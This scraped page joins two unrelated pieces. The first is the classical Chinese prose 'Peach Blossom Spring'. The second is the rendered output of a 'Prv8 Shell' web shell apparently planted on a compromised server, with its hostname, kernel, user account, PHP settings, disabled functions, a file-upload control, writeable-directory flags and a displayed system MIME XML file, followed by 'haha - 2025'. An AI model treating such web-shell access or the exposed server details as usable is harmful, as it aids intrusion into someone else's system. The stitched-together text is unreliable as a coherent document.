晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/x-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/x-content/blank-bd.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="x-content/blank-bd">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>blank Blu-ray disc</comment>
  <comment xml:lang="ar">قرص بلو-راي فارغ</comment>
  <comment xml:lang="be@latin">čysty dysk Blu-ray</comment>
  <comment xml:lang="bg">Blu-ray — празно</comment>
  <comment xml:lang="ca">disc Blu-Ray en blanc</comment>
  <comment xml:lang="cs">prázdný disk Blu-ray</comment>
  <comment xml:lang="da">tom Blu-ray-disk</comment>
  <comment xml:lang="de">Leere Blu-ray-Scheibe</comment>
  <comment xml:lang="el">Κενό Blu-ray</comment>
  <comment xml:lang="en_GB">blank Blu-ray disc</comment>
  <comment xml:lang="es">disco Blu-ray en blanco</comment>
  <comment xml:lang="eu">Blu-ray disko hutsa</comment>
  <comment xml:lang="fi">tyhjä Blu-ray-levy</comment>
  <comment xml:lang="fo">blankur Blu-ray diskur</comment>
  <comment xml:lang="fr">disque Blu-Ray vierge</comment>
  <comment xml:lang="ga">diosca folamh Blu-Ray</comment>
  <comment xml:lang="gl">disco Blu-ray en branco</comment>
  <comment xml:lang="he">תקליטור בלו־ריי ריק</comment>
  <comment xml:lang="hr">Prazni Blu-ray disk</comment>
  <comment xml:lang="hu">üres Blu-Ray lemez</comment>
  <comment xml:lang="ia">Disco Bly-ray vacue</comment>
  <comment xml:lang="id">cakram Blu-ray kosong</comment>
  <comment xml:lang="it">Disco vuoto Blu-ray</comment>
  <comment xml:lang="ja">ブランク Blu-ray ディスク</comment>
  <comment xml:lang="kk">таза Blu-ray дискі</comment>
  <comment xml:lang="ko">빈 블루레이 디스크</comment>
  <comment xml:lang="lt">tuščias Blu-ray diskas</comment>
  <comment xml:lang="lv">tukšs Blu-ray disks</comment>
  <comment xml:lang="nl">blanco Blu-ray-disk</comment>
  <comment xml:lang="nn">tom Blu-Ray-plate</comment>
  <comment xml:lang="oc">disc Blu-Ray verge</comment>
  <comment xml:lang="pl">Pusta płyta Blu-ray</comment>
  <comment xml:lang="pt">Blu-Ray vazio</comment>
  <comment xml:lang="pt_BR">Disco Blu-ray vazio</comment>
  <comment xml:lang="ro">disc gol Blu-ray</comment>
  <comment xml:lang="ru">Чистый диск Blu-ray</comment>
  <comment xml:lang="sk">Prázdny disk Blu-ray</comment>
  <comment xml:lang="sl">prazen Blu-Ray disk</comment>
  <comment xml:lang="sq">Disk bosh Blu-ray</comment>
  <comment xml:lang="sr">празан Блу-реј диск</comment>
  <comment xml:lang="sv">tom Blu-ray-skiva</comment>
  <comment xml:lang="tr">boş Blue-ray diski</comment>
  <comment xml:lang="uk">порожній диск Blu-ray</comment>
  <comment xml:lang="vi">đĩa Blu-ray trống</comment>
  <comment xml:lang="zh_CN">空蓝光 DVD</comment>
  <comment xml:lang="zh_TW">空白 Blu-ray 光碟</comment>
</mime-type>

haha - 2025